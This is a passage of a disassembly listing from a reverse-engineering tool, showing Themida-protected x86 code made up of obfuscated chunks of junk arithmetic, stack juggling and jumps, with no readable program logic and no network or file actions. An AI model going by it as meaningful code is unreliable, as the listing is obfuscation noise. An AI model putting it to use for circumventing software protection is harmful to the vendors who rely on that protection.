		jmp	loc_5A3F53
; ---------------------------------------------------------------------------


loc_59B7F6:				; CODE XREF: Themida_:005A4BD7j
		sub	edi, ebp
		pop	ebp
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	78F1h
		jmp	loc_5A370B
; ---------------------------------------------------------------------------


loc_59B80B:				; CODE XREF: Themida_:005A1629j
		mov	eax, 4
		add	edi, eax
		jmp	loc_59E691

; =============== S U B	R O U T	I N E =======================================



sub_59B817	proc near		; DATA XREF: Themida_:00590A50o

var_4		= dword	ptr -4

		push	dword ptr [esp+0]
		mov	eax, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		jmp	loc_593DC2
sub_59B817	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_59B825:				; CODE XREF: sub_59CFD4-C336j
		mov	eax, 154B675Ch
		jmp	loc_5A401A
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_59B82F:				; CODE XREF: Themida_:0059A70Dj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_59BD67
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		push	esp
		jmp	loc_59BD4B
; ---------------------------------------------------------------------------


loc_59B84C:				; CODE XREF: Themida_:00599ACEj
		or	edx, esi
		pop	esi
		add	edx, 8B83955Eh
		add	edi, 711A5087h
		add	edi, edx
		sub	edi, 711A5087h
		mov	edx, [esp]
		jmp	loc_5A19F1
; ---------------------------------------------------------------------------


loc_59B86B:				; CODE XREF: Themida_:005949A5j
		add	edx, 6C7D6EBEh
		add	edx, ecx
		sub	edx, 6C7D6EBEh
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A14E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B888:				; CODE XREF: sub_59390B+71DCj
		mov	ebx, edi
		jmp	loc_591982
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_59B88F:				; CODE XREF: sub_59FD45+6j
		pop	[esp-4+arg_0]
		pop	esp
		mov	[esp+0], ebp
		mov	ebp, 0E780A8Ch
		jmp	loc_594CA3
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_59B8A0:				; CODE XREF: sub_591FC5+4F9Bj
		add	esp, 4
		or	cl, 38h
		add	cl, 28h
		push	6122h
		jmp	loc_5A2FA3
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_59B8B6:				; CODE XREF: Themida_:005993E8j
		mov	bh, 0C6h
		xor	dl, bh
		pop	ebx
		jmp	loc_59C734
; ---------------------------------------------------------------------------


loc_59B8C0:				; CODE XREF: Themida_:005A0DD1j
		push	ebx
		push	ecx
		jmp	loc_5A24BE

; =============== S U B	R O U T	I N E =======================================



sub_59B8C7	proc near		; CODE XREF: sub_595BAD+7DF8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00591A33 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00591FDA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3ADC SIZE 00000015 BYTES

		push	ebp
		jmp	loc_591FDA
sub_59B8C7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F53F


loc_59B8CD:				; CODE XREF: sub_59F53F-5AB9j
		push	eax
		mov	eax, 4A966FFFh
		push	edx
		mov	edx, 5C50A0Ch
		add	eax, edx
		mov	edx, [esp+0]
		add	esp, 4
		xor	eax, 25DC01E3h
		add	eax, 490B319Dh
		sub	edi, 135B6DAEh
		jmp	loc_59D59D
; END OF FUNCTION CHUNK	FOR sub_59F53F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B8F9:				; CODE XREF: sub_59390B+102E8j
		inc	edi
		xor	edi, 212B2FBBh
		push	ecx
		mov	ecx, 33CF2A42h
		jmp	loc_59CB1C
; ---------------------------------------------------------------------------


loc_59B90B:				; CODE XREF: sub_59390B+3BF5j
		mov	edx, [esp-10h+arg_8]
		add	esp, 4
		and	eax, ebx
		pop	ebx
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	esp
		mov	ebx, [esp-10h+arg_8]
		add	esp, 4
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-14h+arg_C]
		mov	esp, [esp-14h+arg_C]
		jmp	loc_59FB72
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59B937:				; CODE XREF: Themida_:0059E770j
		pop	ecx
		xor	eax, ebp
		mov	ebp, [esp]
		jmp	loc_59154C
; ---------------------------------------------------------------------------


loc_59B942:				; CODE XREF: Themida_:00596F85j
		mov	[esp], edi
		mov	edi, 4
		sub	dword ptr [esp+4], 27AA3B1Eh
		jmp	loc_5926AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B957:				; CODE XREF: sub_59390B+EB1Cj
		neg	ch
		push	dx
		mov	dh, 0D1h
		xor	ch, dh
		pop	dx
		and	ch, 0D8h
		add	ch, 0B2h
		sub	ch, 0A2h
		sub	dl, ch
		mov	ecx, [esp-14h+arg_C]
		jmp	loc_5976F8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59B974:				; CODE XREF: Themida_:005934DEj
		xor	ebp, 167664A4h
		sub	ebp, 6FD02A79h
		inc	ebp
		not	ebp
		add	ebp, 6730636Eh
		push	esi
		jmp	loc_59D313
; ---------------------------------------------------------------------------


loc_59B98F:				; CODE XREF: Themida_:005A4915j
		pop	edx
		add	ch, ah
		pop	eax
		or	ch, 0EBh
		xor	ch, 1Ch
		xor	al, ch
		push	dword ptr [esp]
		jmp	loc_5A2EAF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B9A3:				; CODE XREF: sub_59390B-2414j
		add	ecx, edi
		jmp	loc_59646F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59386B


loc_59B9AA:				; CODE XREF: sub_59386B+93BFj
		sub	esi, edi
		mov	edi, [esp+4+var_4]
		jmp	loc_59DAA6
; END OF FUNCTION CHUNK	FOR sub_59386B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B9B4:				; CODE XREF: sub_59390B+9CADj
		mov	edi, 3663251Dh
		neg	edi
		add	edi, 6FDC0449h
		or	edi, 2406672Ch
		xor	edi, 1F3F8FD1h
		jmp	loc_592F93
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59B9D2:				; CODE XREF: Themida_:00598EDDj
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_594849
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B9DD:				; CODE XREF: sub_59390B+FA89j
		xor	edx, esi
		pop	esi
		jmp	loc_592E77
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_59B9E5:				; CODE XREF: sub_59A4D6+8811j
		pop	ecx
		or	ebp, eax
		jmp	loc_596B67
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59B9ED:				; CODE XREF: sub_59390B+616Ej
		add	esi, edi
		jmp	loc_5933D3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59B9F4:				; CODE XREF: Themida_:005A23CAj
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4E777A77h
		jmp	loc_59290E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0060


loc_59BA0A:				; CODE XREF: sub_5A0060+6j
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		mov	eax, [esp+0]
		jmp	loc_5A1D12
; END OF FUNCTION CHUNK	FOR sub_5A0060
; ---------------------------------------------------------------------------


loc_59BA1B:				; CODE XREF: Themida_:0059A54Aj
		add	ebx, 0F59D8B5h
		sub	ecx, ebx
		jmp	loc_59E88D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59BA28:				; CODE XREF: sub_59A75E+7D5Bj
		mov	esp, [esp+2+var_4+2]
		add	bx, 0D30h
		sub	bx, 0C31h
		sub	bx, ax
		add	bx, 0C31h
		sub	bx, 0D30h
		push	si
		jmp	loc_59ED1A
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59BA49:				; CODE XREF: sub_59390B+BF20j
		add	ebp, 192BD0h
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp+0]
		jmp	loc_59F3C5
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59BA5A:				; CODE XREF: Themida_:005A2992j
		push	edx
		mov	edx, 2A2A439Eh
		inc	edx
		sub	edx, 158D4BC2h
		not	edx
		neg	edx
		sub	edx, 976DD3Eh
		mov	esi, edx
		pop	edx
		sub	[esp+0Ch], esi
		pop	esi
		push	ebx
		jmp	loc_598F00
; ---------------------------------------------------------------------------


loc_59BA7F:				; CODE XREF: Themida_:00598832j
		mov	ebp, esp
		jmp	loc_5A388E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59BA96:				; CODE XREF: sub_59390B+53D7j
		add	al, 0D0h
		push	ebx
		mov	bh, 4Fh
		and	bh, 15h
		neg	bh
		shl	bh, 8
		shr	bh, 1
		shl	bh, 7
		push	ecx
		mov	ch, 53h
		xor	ch, 0EEh
		sub	bh, ch
		jmp	loc_591FD0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EA40


loc_59BAB5:				; CODE XREF: sub_59EA40-D581j
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		push	[esp+8+var_4]
		pop	ebx
		pop	[esp+8+var_8]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_598865
; END OF FUNCTION CHUNK	FOR sub_59EA40
; ---------------------------------------------------------------------------


loc_59BAE6:				; CODE XREF: Themida_:00596169j
		mov	ecx, esp
		add	ecx, 4
		push	edx
		push	ecx
		mov	ecx, 68524E6Bh
		mov	edx, 97ADB199h
		add	edx, ecx
		pop	ecx
		jmp	loc_59D323
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F53F


loc_59BB02:				; CODE XREF: sub_59F53F-9C69j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ebx
		push	[esp-8+arg_8]
		pop	ebx
		jmp	loc_59D9F6
; END OF FUNCTION CHUNK	FOR sub_59F53F
; ---------------------------------------------------------------------------


loc_59BB1E:				; CODE XREF: Themida_:0059EB82j
		sub	esp, 4
		jmp	loc_5A23E2
; ---------------------------------------------------------------------------


loc_59BB26:				; CODE XREF: Themida_:0059ACEEj
		add	eax, ebp
		pop	ebp
		and	eax, 73E233D3h
		inc	eax
		shl	eax, 6
		jmp	loc_59B460
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_59BB37:				; CODE XREF: sub_59918B+9C67j
		sub	edi, 0E806062h
		mov	eax, edi
		pop	edi
		push	ecx
		mov	ecx, eax
		mov	edx, ecx
		pop	ecx
		pop	eax
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp-10h+arg_C]
		jmp	loc_59C956
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------


loc_59BB55:				; CODE XREF: Themida_:005A1050j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_591016
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_59BB69:				; CODE XREF: sub_591FE1+C717j
		push	esp
		jmp	loc_5A1CD7
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------


loc_59BB6F:				; CODE XREF: Themida_:005A523Aj
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, 20256A9h
		push	5AF5h
		jmp	loc_59DFE6
; ---------------------------------------------------------------------------


loc_59BB8B:				; CODE XREF: Themida_:005A0840j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	6FC7h
		jmp	loc_596178

; =============== S U B	R O U T	I N E =======================================



sub_59BBA6	proc near		; CODE XREF: sub_5A059C+1Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00592928 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005988B7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B0B9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059B730 SIZE 00000031 BYTES

		push	ebx
		mov	ebx, 0E6D0A84h
		sub	ebx, 685B4984h
		shl	ebx, 8
		shr	ebx, 3
		add	ebx, 1EDEE69Ah
		jmp	loc_592928
sub_59BBA6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59BBC3:				; CODE XREF: sub_59390B+E508j
		push	eax
		mov	eax, 17C10C0Eh
		jmp	loc_593AD0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59BBCE:				; CODE XREF: Themida_:005A28C5j
		not	dword ptr [esp]
		pop	edx
		push	542h
		mov	[esp], eax
		push	ebx
		mov	ebx, 0
		push	edx
		mov	edx, ebx
		mov	eax, edx
		pop	edx
		pop	ebx
		add	eax, 1F8D0E33h
		push	632Dh
		mov	[esp], esi
		mov	esi, 63533064h
		add	eax, esi
		jmp	loc_59AEEF
; ---------------------------------------------------------------------------


loc_59BC00:				; CODE XREF: Themida_:00597875j
		add	esp, 4
		add	ecx, 0C3D0BC01h
		mov	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edi
		jmp	loc_591760
; ---------------------------------------------------------------------------


loc_59BC18:				; CODE XREF: Themida_:005A10D6j
		sub	bl, 44h
		add	bl, 78h
		jmp	loc_5953F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_59BC23:				; CODE XREF: sub_59FD45+CE6j
		push	eax
		mov	eax, 47C13A57h
		neg	eax
		push	ebp
		mov	ebp, 8B9EDC26h
		jmp	loc_5A3E4A
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_59BC36:				; CODE XREF: Themida_:00596004j
		push	edi
		mov	edi, esp
		jmp	loc_596370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59333E


loc_59BC3E:				; CODE XREF: sub_59333E+8j
		sub	ebx, 0EE056062h
		mov	ecx, ebx
		jmp	loc_59E567
; END OF FUNCTION CHUNK	FOR sub_59333E
; ---------------------------------------------------------------------------


loc_59BC4B:				; CODE XREF: Themida_:005A0303j
		push	ebp
		mov	ebp, 1363054Dh
		or	ebp, 3CFD4603h
		xor	ebp, 169B7C77h
		jmp	loc_59525C
; ---------------------------------------------------------------------------


loc_59BC62:				; CODE XREF: Themida_:0059C62Fj
		add	edx, 44915E4Ah
		push	ebx
		push	7B7Dh
		jmp	loc_592384
; ---------------------------------------------------------------------------


loc_59BC73:				; CODE XREF: Themida_:00594BD0j
		add	esi, 51C16F87h
		jmp	loc_5A0B0E
; ---------------------------------------------------------------------------


loc_59BC7E:				; CODE XREF: Themida_:0059C761j
		xor	eax, 28E94CFBh
		jmp	loc_59FA52
; ---------------------------------------------------------------------------


loc_59BC88:				; CODE XREF: Themida_:00594E40j
		pop	esp
		push	ebx
		mov	bh, 87h
		push	eax
		mov	ah, 0C5h
		jmp	loc_592001
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59BC94:				; CODE XREF: sub_59390B+F39j
		xor	[esp+14h+var_14], ebp
		xor	ebp, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		mov	[esp+14h+var_14], eax
		add	[esp+14h+var_14], 738D25F9h
		push	[esp+14h+var_14]
		push	[esp+18h+var_18]
		pop	eax
		add	esp, 4
		add	esp, 4
		jmp	sub_5A059C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59BCBC:				; CODE XREF: Themida_:00597ED1j
		mov	esi, eax
		pop	eax
		add	edx, esi
		pop	esi
		push	ebx
		jmp	loc_59D5C6

; =============== S U B	R O U T	I N E =======================================



sub_59BCC8	proc near		; CODE XREF: sub_59A5DB+11j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005A06A6 SIZE 00000024 BYTES

		push	ebp
		mov	ebp, 4
		sub	ebx, 4A9E7E49h
		add	ebx, ebp
		add	ebx, 4A9E7E49h
		jmp	loc_5A06A6
sub_59BCC8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59731A


loc_59BCE1:				; CODE XREF: sub_59731A+57A5j
		pop	eax
		not	eax
		jmp	loc_5A0E6F
; END OF FUNCTION CHUNK	FOR sub_59731A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E716


loc_59BCE9:				; CODE XREF: sub_59E716+5j
		push	67h
		mov	[esp+4+var_4], edi
		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	edi, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A333E
; END OF FUNCTION CHUNK	FOR sub_59E716
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592A27


loc_59BD12:				; CODE XREF: sub_592A27+EF16j
		mov	[esp+0], ebp
		jmp	loc_5A21B7
; END OF FUNCTION CHUNK	FOR sub_592A27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_59BD1A:				; CODE XREF: sub_59FD45+5E52j
		mov	ebx, [esp-4+arg_0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_599AED
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_59BD2B:				; CODE XREF: Themida_:00598858j
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ecx
		push	esp
		jmp	loc_590FB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591F0D


loc_59BD3D:				; CODE XREF: sub_591F0D+D8FFj
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_5A15E6
; END OF FUNCTION CHUNK	FOR sub_591F0D
; ---------------------------------------------------------------------------


loc_59BD4B:				; CODE XREF: Themida_:0059B847j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebp
		push	edx
		mov	edx, 4
		mov	ebp, edx
		pop	edx
		sub	edi, 61540413h
		jmp	loc_59BE8E
; ---------------------------------------------------------------------------


loc_59BD67:				; CODE XREF: Themida_:0059B83Cj
		mov	esp, [esp]
		bswap	eax
		push	3FA3h
		jmp	loc_5A47F6
; ---------------------------------------------------------------------------


loc_59BD76:				; CODE XREF: Themida_:0059E167j
		mov	ecx, 6D8D7EF6h
		dec	ecx
		jmp	loc_591447
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59BD81:				; CODE XREF: sub_59390B+5EFFj
		mov	ebp, 19DF7918h
		sub	ebp, 3FA72FF5h
		not	ebp
		shl	ebp, 4
		jmp	loc_5A11BB
; ---------------------------------------------------------------------------


loc_59BD96:				; CODE XREF: sub_59390B+611j
		mov	ebp, [esp-8+arg_0]
		add	esp, 4
		jmp	loc_5988DD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_59BDA4:				; CODE XREF: sub_59654E-B34j
		add	ecx, eax
		pop	eax
		jmp	loc_59E7DE
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59BDAC:				; CODE XREF: sub_59A75E+199Fj
		sub	ax, bx
		push	edi
		mov	di, 5355h
		not	di
		xor	di, 679Ah
		add	di, 0A164h
		jmp	loc_59279F
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_59BDC6:				; CODE XREF: Themida_:005960D8j
		inc	edi
		inc	edi
		push	ebx
		mov	ebx, 15E8372Fh
		jmp	loc_59D61C

; =============== S U B	R O U T	I N E =======================================



sub_59BDD3	proc near		; CODE XREF: sub_598762+6B18j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00592C49 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595975 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005975AF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597BD4 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0059C5F4 SIZE 00000017 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	esi, [esp+4+var_4]
		add	esp, 4
		pop	ebp
		add	esi, 2DB7324Ch
		jmp	loc_595975
sub_59BDD3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59BDEE:				; CODE XREF: sub_59390B+1342j
		mov	edx, 0FFFFFFFFh
		add	esi, edx
		pop	edx
		push	ebp
		mov	ebp, 7DDB31A9h
		inc	ebp
		xor	ebp, edi
		jmp	loc_597182
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F8C2


loc_59BE04:				; CODE XREF: sub_59F8C2-6977j
		mov	esi, 1E976DDBh
		jmp	loc_59460B
; END OF FUNCTION CHUNK	FOR sub_59F8C2
; ---------------------------------------------------------------------------


loc_59BE0E:				; CODE XREF: Themida_:0059CC13j
		add	edi, 2BC042F3h
		dec	edi
		push	4EDFh
		mov	[esp], ebx
		mov	ebx, 3627CD01h
		xor	edi, ebx
		push	dword ptr [esp]
		jmp	loc_5917FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59BE2C:				; CODE XREF: sub_59390B-C46j
		pop	esp
		mov	[esp-1Ch+arg_14], eax
		push	ecx
		mov	cl, 49h
		jmp	loc_5A3D52
; ---------------------------------------------------------------------------


loc_59BE38:				; CODE XREF: sub_59390B+961Dj
		push	ecx
		mov	cl, al
		mov	dh, cl
		pop	ecx
		mov	eax, [esp-18h+arg_10]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A02BB
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_59BE52:				; CODE XREF: sub_59654E-3693j
		and	ecx, 0CA14D9Eh
		xor	ecx, 0C816980h
		mov	edi, ecx
		pop	ecx
		and	eax, edi
		push	dword ptr [esp+0]
		jmp	loc_597987
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------


loc_59BE6B:				; CODE XREF: Themida_:005A2354j
		sub	ebp, 555B3825h
		jmp	loc_5915D7
; ---------------------------------------------------------------------------


loc_59BE76:				; CODE XREF: Themida_:00595ED4j
		push	ebp
		mov	ebp, 217B2556h
		and	ebp, 364725C2h
		sub	ebp, 380D46B2h
		inc	ebp
		jmp	loc_59B60D
; ---------------------------------------------------------------------------


loc_59BE8E:				; CODE XREF: Themida_:0059BD62j
		add	edi, ebp
		push	ebx
		mov	ebx, 73162A5Dh
		push	esi
		mov	esi, 706C2A58h
		and	ebx, esi
		jmp	loc_59B415
; ---------------------------------------------------------------------------


loc_59BEA3:				; CODE XREF: Themida_:005989D5j
		mov	ch, 0C8h
		xor	ch, 0A3h
		mov	bl, ch
		pop	ecx
		dec	bl
		jmp	loc_5A0C3F
; ---------------------------------------------------------------------------


loc_59BEB2:				; CODE XREF: Themida_:005A30CAj
		shl	dh, 4
		sub	dh, 2Bh
		sub	esp, 2
		mov	[esp], dx
		xchg	bh, [esp+1]
		not	bh
		jmp	loc_59270E
; ---------------------------------------------------------------------------


loc_59BECA:				; CODE XREF: Themida_:0059D680j
		mov	ecx, [esp]
		add	esp, 4
		add	ebp, edx
		add	ebp, 77D22F81h
		jmp	loc_594CC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2801


loc_59BEE0:				; CODE XREF: sub_5A2801-90EAj
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		add	esp, 4
		mov	edi, [esp+4+var_4]
		push	edx
		mov	edx, esp
		jmp	loc_59CF3E
; END OF FUNCTION CHUNK	FOR sub_5A2801
; ---------------------------------------------------------------------------


loc_59BEF4:				; CODE XREF: Themida_:005953E6j
		push	edi
		push	ebp
		jmp	loc_5934D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59BEFB:				; CODE XREF: sub_59390B+C40Cj
		sub	ebx, eax
		add	ebx, 83006C0h
		push	ecx
		jmp	loc_59243D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59BF09:				; CODE XREF: Themida_:00599DD5j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		push	esp
		jmp	loc_597A4A

; =============== S U B	R O U T	I N E =======================================



sub_59BF22	proc near		; DATA XREF: Themida_:0059099Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00592824 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00597B4C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059A9FB SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059F628 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A03AF SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A0F55 SIZE 0000001D BYTES

		mov	ax, [esp+0]
		push	24D3h
		mov	[esp+4+var_4], eax
		sub	esp, 4
		mov	[esp+8+var_8], esp
		jmp	loc_5A0F55
sub_59BF22	endp

; ---------------------------------------------------------------------------


loc_59BF39:				; CODE XREF: Themida_:005977E5j
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5925A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21DE


loc_59BF44:				; CODE XREF: sub_5A21DE+2Cj
		mov	[esp+0], ebp
		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	507C3885h
		push	[esp+8+var_8]
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59995F
; END OF FUNCTION CHUNK	FOR sub_5A21DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D9FE


loc_59BF6C:				; CODE XREF: sub_59D9FE+Bj
		mov	edx, 21912534h
		sub	edx, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_5939E3
; END OF FUNCTION CHUNK	FOR sub_59D9FE
; ---------------------------------------------------------------------------


loc_59BF7F:				; CODE XREF: Themida_:0059B5BCj
		mov	eax, [esp]
		add	esp, 4
		add	ecx, ebx
		add	ecx, 74306113h
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_5A40B0
; ---------------------------------------------------------------------------


loc_59BF9D:				; CODE XREF: Themida_:0059311Aj
		mov	ebx, 6EE01D3h
		not	ebx
		push	ebp
		mov	ebp, 6D2C3A06h
		or	ebx, ebp
		jmp	loc_59AC35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_59BFB1:				; CODE XREF: sub_59918B+37CEj
		add	esp, 4
		push	esi
		mov	esi, esp
		push	eax
		jmp	loc_5A2B35
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_59BFBD:				; CODE XREF: sub_59D1FC+46D7j
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		and	ebx, 273015D8h
		add	ebx, 0B12DD1Bh
		push	ebx
		pop	eax
		pop	ebx
		mov	esi, eax
		push	[esp-4+arg_0]
		pop	eax
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 0B3A69A9h
		shr	eax, 5
		push	edi
		mov	edi, 70A30511h
		jmp	loc_596C78
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5971C0


loc_59BFEF:				; CODE XREF: sub_5971C0+AFF2j
		mov	eax, 27EB4B40h
		sub	ebx, eax
		pop	eax
